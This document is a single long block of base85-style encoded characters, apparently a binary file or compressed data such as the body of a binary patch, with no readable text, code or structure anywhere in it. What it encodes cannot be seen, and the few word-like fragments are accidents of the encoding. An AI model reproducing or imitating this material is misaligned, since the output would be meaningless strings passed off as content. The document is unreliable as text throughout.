z%N%GuLh)PXKzl+qx`k?HA-r5AKV4- ze)St`7Rh-KKC=48x`q;F_uzWUM<7G2xbJz+X2_atVon&357}rJ-`P8ItsTkmA6G>L4zKUm+8 z$ksdE8c8Bs?@TL=M7G{JRtAY|ne(hyrs1}{mYHF-Cy^~P!&)JP$(H%ERc<;@<+scw zR(m0A5sV?L!_iq{ZAS6i>Jlr5M7Gr>)@~BnR+m`0D1KXAVjV`wDmW`iJZD^D{Y4^2 zaZ9WdD1Pf*VqHK9vmS6(*2Vp4I|KKb4TsrFeidF}rJ(rjaJBU}iEM{!tVblW9j>)n z&gA)|G1(5+TZ2);>a&EY)d?`!>GeN8d4t?seLkjS?Br!`fG*H-sh z3n)gm)xFlQB(kmUvo?^(wtB$YMk3qlL95zavCp!t9<^Q~k!|&urI5(BdctZ;BHQXI z>y{9&tzNWB&%>O9vaMdUh6?f8>c7@K6u+%rvRcg-spMVBC955YY?+s=&M1D1x@7f0 z$tw5{)GF`mE?K=v?t0RXq|{*Xp715>Ym)ChNg;W=d^Bqct>uz6Qb@kd31Uog$@-TB zYZdz5%hoj#ITpQYb@-8&!aq~4TisCL*$us|dfoaG#qZ~DSYMIIv+0I4Sfuif`weR( zieFrtHta2EQBT`LGlUF<-tT>ol6Kpl zg>?>JZM!{*>^JJzVG`Nb)wNfX$lj)&y`Mz(Eic>puOesJle}v8B9Xn#YxX3R zWHtiokiSdZ$eu$nvbRy}l|sC}MYHorWZ$CM?lQ40c^%a4FH!t6#jxj#7;nbIuro+x z-(uLyQT)Eeu-BpZeT!jlA(1WIu(y%O_H5XDNMw69?1LooEHLboLcG4kutUpvDYEj( zGtRW%B9UjDZFfQmvv&_gvlM6>uKfp!-`g~{^HBWWrm_7%N z==C;D?BXbX9X7ECP>k%Ko7h80WF0oKQ%Pix)WjZz;_qP-djX2y`!%r_qxg4HP3&Bh zWYz=D+~zeHYigHY$@egg6@>GY-)%Lwb&@$W@_fV2B;m70u9$jk=KIG zc6$}8)Ok!M_Q z`xc4p$3C+cuf=kC=ipcN3KDq^eq|S5C(16*!GU%^6u@6t%IXKAPMk3F_LG~UJc@7S;50c1paFBhRM4p3#?2|&gb8wIyTF*=2pMzi9 zjY;G=IK*Cw;4gGcF2J>k-&YQ^52N_w@Zt7L z8~OhD=V_|lnnaGnN7(a73q8fi9Ami*k6#y z^YkZs9*I0pGwfQwVLsk@y25TvBG1zmc7_md9KO;nnZ;B2t!|Y)ObEMpA)0l9?>JW3 zKaj+22%xOCe)ydfJ|clE$*Tz`OkLRPl^mI+v&N`?0fjJc{2|&)WI-@)&G$ZN`3yE=)yrku6wlE`byS^HHIc}+QM>q5M1 z%2|63i5%CRw|^y(*OZHPCW>FuOZE{I|C(~iJ}**v*OWZ_UlQ4e=h;_8DzA^qvmc@O zHI`?O-S@w>nrBZE5*!~A@22M2(@Exn@UQ0c>>o*1--oy9pvEuTOGtKu@R-Z?Y9TCG zRjh7t#oiJji=jnbwa-MzuOQd$)(80hB(d{{#HxU|?9UJ49@y_$t3PZ<$#pM~N!&yw_y;D)r`4YuHn@T!^N#xm7(n%(f zrnLe3?fzURdLj0xu_IeA{l)Qi#VIL6!}=?rg+od+r9tiHfw{O8N1 zox>>pc~RP_d6CEX_YS3 z5>=d$ByucK)k!CjSNv+ud=mM^?u*V!5;>NriBA&UF$w z21sz&zq~ebm>fCOcZ!k7kwXKgJc%49yzVq6kz;k!Sti8mH!LR;C5@GZUmA+<25-1I zk4Or5(%_OfUbo?$B@xpXB`cqN4r@8dC^_Dk#Bmmq$T5lI6w2fI_YiZ)lCy}kCnX{5aww5=YY!ca8 z5}myyvbDVBoFtL0rKNL)M7EYz&SMhUTG}{8E{kI-TT5H#1rpg>-gT;z$kx)%d6h)A zmiL?{B(k-1blQ^0*3#MOP9j@N7iR#8Y%L!;(}j3#<5TA+68VO}r_O#7c}zcbUcDkp zA=_AQrz?tol>0c7QN-~YS{}aCavELbsf6(Py3d><*SLtc2>2IRpF6csVEsDyZh)uy z!s$vPSHbG*6u!<=`QJ%>=@dsv4;tA~>?-s&{hXF4{`aT-oOUGgdzpStcM|!PO+TkE ziTui@pOZuqd|td+)Xy15atYoD;_n*ubEcA1@?sW}w1Iw}Ur+lvzmx1QFWzG6=j24@SV^OwbDyNEC&3%ySjd%K`#CR>$m?K#MwR4o@^JwvF7hgMhDCvx^zR32% z6HKSa&Hvr!A4|6OO zf8>ztd`cp>p5hD=se&u3iudqSoS#rqgJ0biB~5Xbk)(j|t*1CgNdlw9liA_UH6g4H z2!B&|xMSVMQlLx&Np*_c;gZhYJqo}42>Fb3N}|A%{UuSXAk^3>CnF-}qk-@yq4V@z zk?JU{&{zUuCOD-dq%26-=}L0HR}8BHlI9#j@vp)Yo!cmWZ#>a?L?V0RiB8l#zO9^~ z?2RWnK@|U3Omy0#_`UH&r=v*a^~MvOPf28NobG&0B75V>&R7!J8&7qnk;vY7y7Lo> z?2TtQYe-~oJk!Y`k-hOO=KzW9jpsOLNn~$4-?>R5d*dISzb>`$i=NqhLl*@BpTPIHoR5c4L;5oZO- zXp-Yjg(rMlIk7V~ifh3sr#8tip1e+S#FNG(-+Iyp#s5zHl+&F=e#v#p=}qzltYXBE z*C}U!$j4jh=#(=JMZ9DGHth2$=KzZT)!}L9DoQewD;=G7?umS2r)(1Mz5nAp&kAF? zGC+8L_>ZFt3EW>2%{oHPXPnO?gs+i!)|rYDW`DzR=l4YCoL?v=W}--S-Z>Q^JkjEqv>FPE3^8dOdjayepLJvSXnnvBU5td>@eOPT6P?^Amh`!&m>f?bIPLXg!cS zj)RgK9Jod7;a#T{iocS^UFSWNWcC$&eb2xDy61F{kioF6`*`=qiig?!Hqk5@8vY<=BD{4!2_!!Xzl-bwEt9w2!k#n&nF;c=8^&${V>QKsEkK$h)O1YavD(~u0%H2&OuMVZ%VOkynQb?n4rJb*SXV z#_*cYVe;w_@0K8uSBJ`OWfFOHsNyD&$g4v&*CLTuhZ=565_xr~>2@NKSBF~erzG;~ zP}?0!BCifFx#LOX)gi&1K_agX_1&c;^6JpgJs`xpIvDP05_xqn+`{>>?B2T>hTB_+ zHzyo&r=j>)2h-gnguVVBd`AyoKAY}Ilr*N#fG=pECD`uB0-`-{{1)C12Wjl4#Bxbv zO}hlxZy?Rx*diF?%{jDiE1-xkUv@)G3%8MoVXNW2+yfwQxvh(ee73;2rgMMzI>sGC zvI%4%NIQ2INu`-FY#2xfH@cWeRUTvyNN2Y($p;SuYy!xK?og7BASXb2y4fgURv;sa zU4pImb|)9deP)G5!k5z^U%1v&LLSd%DE-`CPYXFQLdaL{heOA9%@TEq-- zdzBGVbfl1B?$EMAK7_5u?t{^w+q|5Rzu`;v=RrohYbpv^oeE<%ka6zG2&o4Wb{ka^ zF`-YRml$f5rdF{k^K#mi+#Gv3n9le8c+%q+0Bjtj1%~@r&KBPzIx%^R96j?sSyY zU=gTQ{vJ_=yO5+RNKHte;oc?5-5{=LKf6yzE`#tZ+RyIu)%mvkug{ja@hEAm5^Q-G z{IkRzOfl1|iF=2o?gWw*AST=eEp?BO#8b?#ZXQWPiuu)jvto@6ZCMe>*x?im#E9W<}im2Tx4V(Wua#J%TA zw-(7L5T0tK+nVGmeEY_0b(Pzmq)-X?^?9hNRqkSvwiL74T|x3W2#;Cq25O3JeGRF2 zK5N{(j-$r_&#rNKPIU_t!1P81xX`nEgRjjB(KrY+2l?lX+=k8 zllu$F4l4U*cMZuoD*I+PrncChSD_UAC}+AwNLo_4GTj7{JyfnOZX=SDRIV*<7m^$* z*Kckwk`q*}-`w>iL#bR@ZWhTjDp!_!oFs|LmF=D-nM&o#cAt>EM91QHw?G|H3X59Z z?{0091=PlJ-1;QzsEy^g9Y{*R9`Y|_x4OMas)6t?H@CW@Na{dOG74JnHaARSgN#R6 zjN*UAzunD75#!!;h}q$?x_l4Q*tP!AY$nJ~_YIPZ*J4n1xg$}+!QR0b{0?!qyQTrA z!aJ8AA=Peocq1-hHtSzlHy&oPcDvh9(%A3t{Z|IW{NbKaM9gxMT(`W+C5ascG2q|! zx{XN26cKkfd)<{JyWk2UV*Wyb?+4$3bu3_wj=e6^M9z)i>6?&hD6kf#m-9T5I#FVV zYOmWz=c&?I_3S9zL&%5!!CD_577(j;?05B$h~cGJ0i`(LUMJyes_@@KJmeNOMT}en z=a9P%B^(^_ObpuqsSdm6QIdmA`iM154!gHR3@cF_RxyGaJM1>Hcs|MA?+zSs`;*93 zR*twsNOq;clN#9i5qBC%>S-xKTjUcxQOXLE7M?70L`(xul3XF>e~_t0kv#rR$^w!B zHKhDbQq9|+GbBC6${44y$T`iE?j%Dz`2i(~^|>Qj!V&jRib?TuzDm;dhIm8!h>>{b>$wiWMuQm!a75O|FrN*ig`6G z_h%@{$6hHmQK~F>uE*Q+5qBrWT$;~t1&kx^9g;(9<<{exiT%0b?ej|{e|nNga^RHQ zdT)|^&^CCle#9L|Qq^lM86+QnC%3hOWaVWk*GS%8DWzz0u|MB&j+epcqZ4J9dDFy>s`D z88GW&+(?q)F+wiIO(dyI@_Sqci9vEXZYfD6D(6bvI+8!(-7cKVy&AVoh;P)1XkJ&Z z#SO8QjZ2E}!DP8U3Q3VEQu>j6Y{z^=vfUOamiH;IjeuY2gqgS8xRn&MoXYtlZXd~S zZA9PnN8DkO=BDWN{)jtGBEK80k5qF2AFYI~za@QYm<>PU?QuuvOtQ&vC z)gi(Ao+vltT9Etz_dQYmj0+0!$#1IMid#rA+c!t^ns6&_8<%u;^9kJ5UkUR+as4~t zvfwvF?ucJRy%X1{vydC`cKLBA`EFcyF6rzc%n{)kcQ0-L$ucMz<$m07l74U{^%BT~ zxYHz`!gH|apqzi>%r01RGRs>znq3BY6qo3d8z7J4rjwL~?{wuG19xJSEhG!ah&I8a zTq0RxOTGlL&M!VMzEbE>DsV|*?^Y4tUdyB0?}{<$tk-kmY56F{_o~Rc3-f-s712sJ zF6k@@W*G2JgjazSUK0+(SmHLUVT>)qt9jW2kh~=6Yyzy0=P-QvmP-=+g3>dOqFF3R z0j1PyxGd)ywvaNGi!;AbNSWh`sSVMElx19;uO$>#)^dTbNx&N7H_8etEngQ~(WOf? zD+0?ZqU*fijlLI&nZ{AWcYT^gfBcm z%yWvT7nYpiJ3{ijQhA!BH@O2v_vg6vZVP z#MDqaxug?FZKbzMdVtikk8&FPuJizq#zNq$^$YvM>RZ0{?xgk<=JH4@)( z?Lhk{gN=jzGYmP!$ZhYbJS36Z-b;z@Cytlg(q2jd61g|t;AcS;wfsd(F(xI;vm3rVxgNHn55>T* znS<;AdDE6(k9yd5%^7?5f65tT$6z@}A#1QLSk8Hnp|;3!hAYqVHFVn55lTFl3|4f9 zhuwm#5z11MN+ctdJ0xFy5XJ68%qT_akK3NXwvvoi7I2x#j=$w)k0ItmWs8XM{nAXd z8)KDSBo{#*!uKl2DhH^X7hqYwBT(~{^DZe2GEQmsrdU>idGKXvknu`;mtZ?TK}mE; z@2c=Lg7OZ@-?N|}gse%*XqRBtWM!U9Fl(x^oTS;`&@VyOG-bU@Fe_d8)g_oUQ#nsk zeiM9k3bJM?xh}!13?=q0u@xADS#y*5$);=koBpO$wl-;cz!Kbo*#fqcb+v`qEsc3XTcJs4heowxFM9YM0tti zG92Y*T-uP_2Wib^i4e~zkd7crm258Xi>R>98ps#QX)a<7<3YYu`VYkQNnt-$ie|5Y zEK|&PQF1)3;eHDCo-34iE?J%%gW+om5VJy=NOJEdFTW~TsmvhhzD39?WdX@js9$&m z^tG~<<7g+*eQ7k$QGrWOGbhGsH}ELD#&)_giAgK*a!XRyxa_8qLP^fL}{dp5v0j&h-($gZZnXb8+_b zuS##1;C}v98R?SRP~vaObeG_MKBRofMVw7I-Z-MHcg1`JXZJDXoJ;W8l@m(75x9ms zqyB-~n+@xHS}8`twu$<4Mk!137Svu``dOta$+}q43!hW!lH7yZi!tYwCL}GO_M+q{ zZAcbE?Zxf7p!i7!fwYB~i;Bf1%Tr~Nhn?;Ka}G*ZlF2`cqjOQ|NrGn+*7=LdKoa?D z?-!L%NU~vlM9dPBys$n(Rtd3>;6)`k3in1bYYfL7_v%IE78mE}{4VMkjIoy|MzaI3 z$DWqsAXjBf0q;g})qlg5x$y1|Ub#5Z2fnxbwEVjczFPKF%#(5vG2XA2MzP{yS2^B( zFToeoYPqDq?Jvb%&9#@lr>wY=vc)?W-W$zq*CFP%lmaW( zM6tg?{FtA%N@gI0Eka!d2w08K=RpAo|gWMEjRv)Vq+o3 z5$^&RBY+gNW8_v8mQtW%s)x;l7)P+L#653|chvV$Y@S;RRD<&!&kH-IfVwq8yhGcG zJ#WW&|99zfKie?{CX^D-v)SU!eG9JCp^n*7VBc5|TlCcWq*f5KVNT2+a7I48hCSfD zlBebWvlaMz$6vaa73avyqsf@8WBq@*p|CwjP)vL$wcxR+Ggmab6eGa<{7 zk6MVcvb-I0t~p%IL#?e~%a3pl;KK35FxRl|Qo2phRk zv~{Nc43{h>=XOm0?Fu*uy6H zlZ5#2x*L1guKtOx7(Aw3{c|Wrp1H63KXb+4(qHv2`yW~3l8>gtlSTf0F2OJMzwW;# z#CICr8pAPCqW?BYOkQ#SJ< zmVX#Y6SxnH>od?l&LvpR+x}@J@4?&`mh-NEflIKQLH<=F8{w;WwSsVU?B7AsqD(Y1 zAZD=tFv*3rP%l7+_^*?E4o_p^(uex*y9Ad$%paXBw)EH0@U|&rec%teWFW{${}z&V zGrT-zv_E>B$U?!GvHqbXw>yaWx@7-wF6nG#fB1ihN%rp}IkhO7eGD?*KQV=u<6GSt zdLobs{^=y!NhbQ|auMgwXAtv|f2$Cm{Dp-n{#_);?}^$n#lN23%J0Wt$AP{ zg3R(?V7tEX-$~=!#R|tovuhwL{Y@td$$L&5uQmRzT;P|F z=6l#3h*{%LpgoGA&;8dfWWokHxa4oR4M;YGKI*xH$Jgw)v})$ewY# zKS5;iUn6<})_J>s4;Rr7)(6?)KTLxCAWEh`hf8Y0tUb|e(kJl60RMe1&RvF|{cJL> zPYSE_m5BM-uaM~H;Je>YPPTtC7w31t_xcxbaega&ufO;dEXVmh@qPZXTr$~w7}w#M zyU!owlFWRyqgV$hd7nRe8fImB!lON`3&%=j!Y3TC;atgIUpEw!rz<=e9bQzTG2{y_up@FNoL80mnB2YY5#)h zxQ6Mhc>O3ggNrX61)gGR0M~;c=lr=`(pjF8F>Dpcd4H7|BBs^&X!bqG1%JhvC~0g~ z3(>M&@z-?8UWmEk@5?2HtsEd?uK5RZfj7&(gL~@`bIm`3OFG*Mg5MFk=3hWE;dA&M zD2Tc4XLE5`DQsV^mt6t5>Caw(GM>vnAb0{ci9sxql)_<2WHKutJFa6s{+*lS`UUj$}N6y(Bqrix$8W zI3&d0Kc2uTmz03@@dPfrqyk7(py;Q3ulgRp1a}NUVghBkWU!I%!f*L;SwqqRp1NuY zk~gr4i%4FEy4sV=Rg$PG9yS=HaG=d1 zk%ck>q)4E*5Z_L?H(Cq&r(%IrE;D`SY*|I}8)S)?n_SX-&*l@oXR*KoA?)Q{UjB|o zu|TWExU4LDo}_r7KbJJ0-p#{OVd=#K%Sif>JR8`?#kuoXBCy*fI65s6IO&qB9JnH3S3fo9jguh_gtX1OM?EUS8eEp=j6gS-%!?2`5s7^@q&<&yCUaA!8K^b03zBV;uU zto_oFA3>S~nl5u>7fAC!u1ofVv3^yEVQKIK!1{fP+JOvbP5dP;VVh7Dq+4Kxh~eXwrXaln8(q={q<7#rW#RR^ z2LJj8&acCg;g@vajOzk2AW-jHA!SR!Xt^(p!voW~B(sswYW0MecLLouVoWj{GBTPC z1bHtonPft9nDGD^92m4�+W%V;hiRf#O?){0#F^6G1)*EF#GpieWQAMg*>sEExd5 z6az9cuwbjmLRkeeHc;h9A-{rb21yAVCMl68iv0|d7HGOn#C!)aIEwoy@Q~z|6~zuh z%*TNmJ4DQ@`@QTG$dtfRlCR-O-76sJ0pCu%lb*~LL`5_F<+VA1!#nK;7fp18HtPdRi6(ybhT_B2W9i4}L7ijvMkdX>p zK|;*;fozhRL*e;nkS&2lCq+yE>ikHMZGq@hLZ-tERSL-VK=8DXQ3s;gRFKR-|1&~5 zLOF{-b_X_bNn!6no&O4CPoVZ$5mW9a{0=4vJe_%7NOC^-_6W$YfeIH;QrK79JPdzX z^|!zxF3GHXV=p@dF^2<3h4^v@i#Oel1TK>JhKT)qBoK2E%SrZCoho9E28xli0>QTT zXdqq)Q|d*t(@^rU!01buB}Tb84nGk{bIE0hIT@JclA9o>1BZpMPhk!Kv(5!d{m#qb z@&IDa2jX4APQxfAkn9p4$fdw1E-40bC9vKl6+o^B*k!(5?B*U1dkN&vKyQ+Yli-;y zkh_7oS1~4q$EYCx1*+T-S+7otVsC(W)Wn-Y@T?pT5~CLWQ%DUzJmn6OU+qn@(JN|Q zLG}18j7euNJz#7u#1vGo-WGBfo??2v8}!Sn@|P&5E7Xl85K~0G&&9b?cvh|PH;?gs zu6x)9h91)ggTc?n(qinN%a;OPXzFh(j1QcF#GfH5;!pE2-$b6J>CRoDK*#n+)d%xpt1Tw6WJ1zabpQ}=L5@zn=u#pMvi+=Y7q zIWW^zUp+-JQIou^1H{x_1$38XH2=P;JjeTqT*1)ks|+Vti|0 zZ@dlivbt2n_RpPF*PgA_M-+1d zu10IanzdGa5BVDUzM$vp+Nkxor1;i@;FVn)wHd{fgBB9+QngjvQcNQdjA^R|C}!^q z9ySEF;uSSSF~>kgbLmDg&Ea{`G>~@cE{ah>rg8a&V&vXvuO21At6IDwYp>>eB-VKg zTno>GtoCXv61*1vjLX|3ftp_S1(yXRa;~Ypx|d6e?;U7+agViE4^s?YiLZpL4r

    siPv8rAs zkypp6`X`Az7D4qs$$U6Ec;y>Z*^{S_j;8uZeum@q4eV7-EyX3pw|1TAt#q{l#mFP5 zt2IdG!ZF?VOZAOv}$LlAEG1ON`-L14+VAqq1OGA$1tZ&aTjkf`ru%NsfUW;*uuBK05L0REm+a-|=b&$$Ky# zjy-j}`WZ=*4m~iG(@9-MG8^PPm$gFdk~^!LxMZ-3i(xbfF(9k}9RCc~9ON&M1hq;Y zAyYt}fOJz6Np^xfa~7UeQ!}GP%-T%o89?4pb4hBv2)|?j(py!cMGTJg>Vx!CPjE?N z#UH{b4rG9Oi;HvZFiJ~2P>`F3>&_Lc(^T%Ke{9Z{ClnOFfZ9q~S z)^Hfe5OokqNx14w0U55ICV6l>noS28q5ATQH7xlHviAuIt#LmMC_Nu9_g z!&e06=eK|)tLZ|RSstFRMT=$!AuCPIAItZKZ^Cd7mx*cx5`$tUsf|dAp7OHOkTqHDKr#Ym z27U*bqUtWm1(~XL=0Z=QfJ{?|auNII3CIlfQa)UI8v6}e0DLZGjyn1oAssrwQ@9}W z)Oz`aY=Swog6H6>L`^IpOn5)>?+)W>JRd*TB8ESq_a*X;7eK{ z>s6CWGHV9%A;<=GbVaeOzluXG0NJEwlcdJL(F6HGonA@AoP;`-0kTCkD+^gu5Pnw> z%tsio?Qk}s0nRXdQBtp_vz5c9A4Hc8<& zLLRHLNzOz2j4^qFKaym%5)u=q!z}OEIfra5qWq zdqS!N&ytKKsUG~BqzlOlL0>)RSe%2SQzuw~1djzuy!T zu7WfRenf)D0;N@O1qmLDyCCg?nIw2DP~w7TN$^;psKEy$cq~wiVA1+wo$*+pgoCw7 z@L1sbbP2X6!DCSe_Tj6+S4r?#VAgBFp(J=LFsny!G6^0FlwQH5BzP>ULOFecn@R9k zU`)T@Ard?mC~pOCkl?XEc{>=@K&&$!3zR{@=Sc8apbQB%P|V~w~Mfq_IA0z0AxDPy7abFNwYJQ*95c3p4E-gHQ;T zN2ySM#e>E8z{H^!1v*l%<{_orZOl03zu z*a(REDcF)^UYBUL?_HGBB;&@!@R7sz;M+|^IVkOFLr)YOPEyQ>VM$QVuHb!=DIoa# zSaz^jQ<2pZ1n(eZ2V0PIi4*fbdx92;YRhyk$?VQM(R`e+C%DZeIAYuryhV~VL_7z( zH&~+?E-RUBj*nqF+?m}MTu<`hcBl#Pf4>Byn~RufBgN8x32IzK@A(mI#V^5bT%2Qi zAUK=^kEvcAo)Zq3oRub-s&w`SV28VNT=B$nd zXL51wtQ`w}LL#qWj|G=q+z3UNuX?;)NE zmL!o|dL~$bvRZ%QWy>M!Y_JAN0Aw|n`a^?&$T}D7!sT*o>A7CE z3nVAlgQQ|rFZ+c{e-a$?AB9n6PVg!Tj`{C{TnPRt#N(^u;c_W>&n3s8oXf#SB%jBN z+IuA!{W9*2%br5ImtBCEE5YIyJNKnT$1^gc7m8# z?ejLchRJ-!zBfpI?H~!R^H7k&+G}ljjIWsDVQnG0sMeQDnti?()!reI=X+6Y0*O4| zi)qtH0MBY?NMsA}tag_~&dHR}9+Aj7 znG#xwSDgCuA#7<$t+q=(0(nkr>5|zX<+TJZ;`-uqkjh$@cH$^kx+AU`Yie^zzQCC- zh^eVfZ0{^ zXD`-O>}4FmHCzc}fL2;6&&psgkA*kAKw4{0xHw~gHd)*X+NOvsRlDZOx(s_Gs1*!g z$#h)_N6^$7auH9RHH3AxwDw%mS(yd!WC)jcxHw1I(uR}Bqa3e|B#}qCv-Tkur~m4r zjgKg&iw5^^@mTOt+#OiMSG6S(S>3di5n0`|&91CRkkv!m6_M3b+aHnDQ#<3zin##u ze%h6YtiIZx5m|k;C$6kQkoBe(t2)OWM>_+wB3zvPGeE0Ig8QcwWWA%+ipUzIHH^p_ zq_uNpRfMb|nii2YOzRYpHB9T{%6b8^hHLLeWR285h{zhLO>|{7gscy>84+1ywfPZQ zW3`p8td@{9PTLTXm8xxx$V%0Ib!ByctO?qwh^&vaixF8LY4=@OI%G}OJi({;{8TNL zi?ipaYGp`p&v${WbgfE6)=aH-MAl60Wmi@rWMyb^5m|FJBO+_A_J%9#P00F0dpja) zp*AccYoYd$D{C-hEz)L2WPPqJh{*a}E3P?b%4o>?LMz9`Ilq=^)hI?@B`wn$yRykI3d$bo^S^FSszt$)s>wwlWBI|%=y0VT!)^FOY5m|?|UJ+S` zwf9|F=OOEumK2e7LYo+obwZox%DN6&r?n*!S!cDC5m{%oEv~FPkd>olMPyyneu>Ds zsGW6XVb6G3yGun5h;puJ4wj|*+m7Y5(tY8l%W18*A;EI` zLCh<95|<42>=T%O1!=DzCm8@U9%Dfiy;?k$17AXTDG!?nqU!ZsG8IJA+q)zK=B!Lz zC%I4zMuKp~5z_mU?1+Xk%ELUioF28{E*I8$=hHF8N zgS@3Tbx97$0R3%}_uv_!>mUR5;Uv4d!8e;>4d2#pk@SM67C-9^<6gaN7g6%MBzQLk zwq%grh~&jj;5`>8XRv;da%zFvm2-7ci$1LZnZJ1uR2a0n?Y?xk!OB$22pu_Zf zBytvXnBIzHGdvep3QGP!Z%cx6u=sq!2fF2wdt+eytoL*YK4mdNf6pcVLCi=!*(D6F z5=ZIjF2T9e(fVSS;GOgj^>18)cM!(t+g;KTWUT(HOYn`i`nl!L8E*8g!ygPt%B z*JBfL|D-Y8t|lNUdTEz7Tl!55&yYHfqbcF zyJRcKGW{YKv88zByIlA5ake5GVwUUGxun>0)GPECN#q>$3cV@GrUUR~I^4flsdpfm zM6^>WzA?Oa6kG@AO`8@}=7|_FMJ0NaS(fst+cS$9=0ll0+W& zt@=0;dEB?^lenb#x36s|XYOIW+}nK5 z+xIvQ>y2GfYd<`%t|xHG@KxLgU-p2dAJKc0%z^ipg-qmf*@H8aBcZ=IqG!6w!TNJd zKkX7M`I!Eg%E6M$LCMGUeD8?u!jgs5<8s-9Z#a&CGv&D6pNn%WPUxdtg8j}3eVPzo zPN^97UOGH=r>`LSvseskFbCypE@{3>GsHc_lll)NFM?n>C-rPDm+gBcr}T3|Jo28) zDg6OS);#fbom2YgcX2CnVr$bc4V~6MBKc{bc#HqEo1YSpjlRA3BIH-SdkE_qL#a&(Tv!y1_kP z+=mzROC-JEP7U6*zo;j?C$i4MeF==Yr1vLz0{2s}x}sm>lIh9) z7V04!!7KU=lJf8tKW1Im{~(!3cd2sqKS{oarDII4ew*YC7+K)@+|)gTaeXp9EvLYf z=}_{YdK5_j1hf9qy(IZSu#Vl)^OB65EMo5Hv0PGp#dF~6XHXOF=~YM`Lwoo=)YW@> zbuP|PzNfe1k`o(GNARAml3b-Dcu!9tkw@^J-iPGhIq)?ASm%5CU=n#u@9ASn^1$6d z5i^;~We?s*!=rppUqCVK;h5rm{0I6rk_RBm2f#fkT^S;d*DX5A|LF-NBj6}w%tL(@ zm&B9D8F@frypcZ`WKUMIohj^ZO%zcyvV8%OE9;i(H&_E@|Wn zv47#Eq%q}v%*u-0Ky6D&V>-z(YFkPg>xI~LqomR11D<8q!;(hX;X+>(d^#qKq++V(>mSwo%U+d$_A#wCiW(5-g{@vB@R4pDP&oNAr?nW$#eYC`BTBhl<7|5_u=Rk}-oM?|#wFS2AXk z$b0LRjJYK8=u|R3A(2O?lChNppAf*kQOUSQf=>vn0I6(L`4HDIgKb(C%`{l&szysL zS^Sv+Y{RP=vq(l}dl+t4bz>>X75G|jXOJ33!7*YVqF`2Sqr6Mj!m{cZ^+;r|_oC68 zdL}L|9fmqohl)t*dVYUD6L?8X8NvB(ntSg_{^Rxn!^c zuvg!Mn5IT_lGt{Xks!^CGF-CkbFjHl#U&{a)7(fS=>d1+aZ6hopSa{>h+8_%WV`Z#^%2%|EIT>1#38i`!z z5r!hf?ioiILrG*?H^SIPBHOwVM*bOmS$6L^(l|yU`^wSAITG13jy8NVMb^gl(Y&u5 zZS*F20iKz}^L?~&h>Pew&%t(mXyj6iJX6LPwPs;CPMsfPH0L7fGhS_tF}k^8@OwmK zjV)Z9tF~mL$!sj=vPXWiD8)$R;+$XOjU+CjhrJ5xGv1iXC5=CGf>(bNj9e-Qzs8mX z@{#cmiM)>c*r<|$%S!Q`nhkF=K{=C++9d6JMY9K78gX&@?#V_=E|+7mXT-7bWMeW3 zo?kfjn_>)@!?(h&tJ91jB=}Swj=HBAqe*1HJk1zOBKz)X#yApLTc#P~Nn~xAW-KGY zr~5?7YlZM$7}sZ-v2L!|tFre@Hx81>`jc*yohM@CRlp2mCkfUc9GTBD_HuDX=Ch2$ z6eD|wSw_$KSdO#DW*cvEak6F`gSa?n_iW>W5POf!F@7hJTRO+MN+S2h9ODLwJQi~d z-zQ?v%VROuNFkAXe!ek@MDDTqM!FFG)FO@s=Nq#~@aad~ho2aQ7CgNV7aA3W#L6SM z(5OrzkKjV18fD3SxX`FWBKO!rqZOA_-!rd>TKB0joTM1YW2h~k8b?VU&J}g_Go$cA zT%S~5?7V1(z20ZWJ0x@FM6+)@zJAghgBmox_X#`w=Atw6ptVn1`1 z-T`F2QQRdO$VQ`zOI`)}-e}~K-XNQeSuPn2@{@6ki?~X{7HNkOy$F|;%(CE@c|U}h zOrt&*F{Z_ukZrUik!RB$<1mSApZ6Hy#aK?3U8D9G-AM2`Sgd1v4feT+S+xoFAILsq z0heUNHx4PO{a{nNMs9e%2-9^ zyhrW)DIWn%x}h>lm1@nAJC$MfBF(ZgOf9(;o`)7SH)hkXTE z*NiIbP%>D}hH(G6BT52EeUPn<8M|)$Nb)=g&cWU=vPtq%%njo%$#`ftX4Z$NHH^aF zijogQE3pBV^@pL5Y`+%8lH0@FmobpbO!oDMF|2bO%zYWY^_b=K!hagAxrmko&x=0| zLx}HQcQJo>+vq~_7zD=>w~a&+{F*3UoBw6>Cz%a`F@G7bAo$Dj${PN+lmc=;-?c>^ z3rA$#u!X-@f};Xk3dsKAzFm$y3m(`a>(9To$ogZ8SN5Kc$o}F#ndOzO#3LyMWPjm^ ztl_qJWq;v_>@RF7AoufQyJWdn9l1OS?iki(%obiU&Ye2au9CQ$V@rYg*TnahZSl5- zFQw!8?uZ;&IU+|^%;X0Uj-V8e6u#$iJ|T}SxaU`ZL`m`DKEyV`Ym3~^F}BFPnpcXw zR~?ai)fTV3?si08Q~P8&Ub&z1*&?rVpE2JPb(LQQV4crzPN3Q=k3~UqT0{*mXwGqE z;XW*Ae!(S~UEMAAYC-d`D+YVvf@X~kc*cqI3;Xv%W^m>4wD`oygBF~Fb=D#HJyeMVn`A(E9Yj`Qs zOCpa&Dbq(H&(l)oGbHj{E@jpcVqXE3GW(Or9=4QuoJ7`*QsxyB*~6AL?~%wJwv6f9 z#MjWiN_x)R#Kq}7pEn}o%>G=QKCZkuoMPmeTi%>VavOSl ztn=l~^&}}}#66%2=0TF5pOum;#O|ppn1z23dsVhk70uy7JO|&1;b%%^^G7M)ikYP< z=3y@IjWX!t@cue%NFwi27597nKC$brSaXvg@=!3Y*&>Y2;MvV8fVZ#o9cYG58D=?neW z87>dFh+kgAE4v0}y{)(v&K7rF8d!@G?_Q4eUKT!J55nR^XDx@QS_zNNckX34>WRUs-r> z!c1~W?b7hxgvqvv?aJ*1Z~51Pui2QrNe)zi*>8yHXdd8_4Vpt;vImx>najB(Gvy5!CqR~I9(Tzhh_TGf z9byefDPDFSBy8T}lH+-J0GY7-aGl=d*){Tog(XHxHJ1DWF?qwxrjSZ zePCS^Op9XhT)xF)61h0%dsn;m%Khw!7y2*U8?V_h%?^t7>1GSgoZ$MrZuaLTi@JIp z_Qvbxcp<*`V7oA;yE#Lwk3IX;-JCCC*n99^Hue|Y%{3&;NqU%>Bm>)s`@)Il36f0s z6$TZudYXTboVUf3iTlSnmwTFpg|Ll<#J3T8nq#>*=T}d2mP>Fhx2L((B?heG8|FHf zRIS8VZ*!+h8beGUGsh)&VQ=&^i|-Q03(q(#=Pfgvi&%Q0EAU*Ld6P=0PrSUO>xM3}TYZ)V&y!#_+g*15YK6GkyC| zlG$wd)(6InGZRUY|BPlQK~l|3l5F_$|3w%Zrsoch0+b=6LWz}J^=aDd?>_jAs3syf5WUC 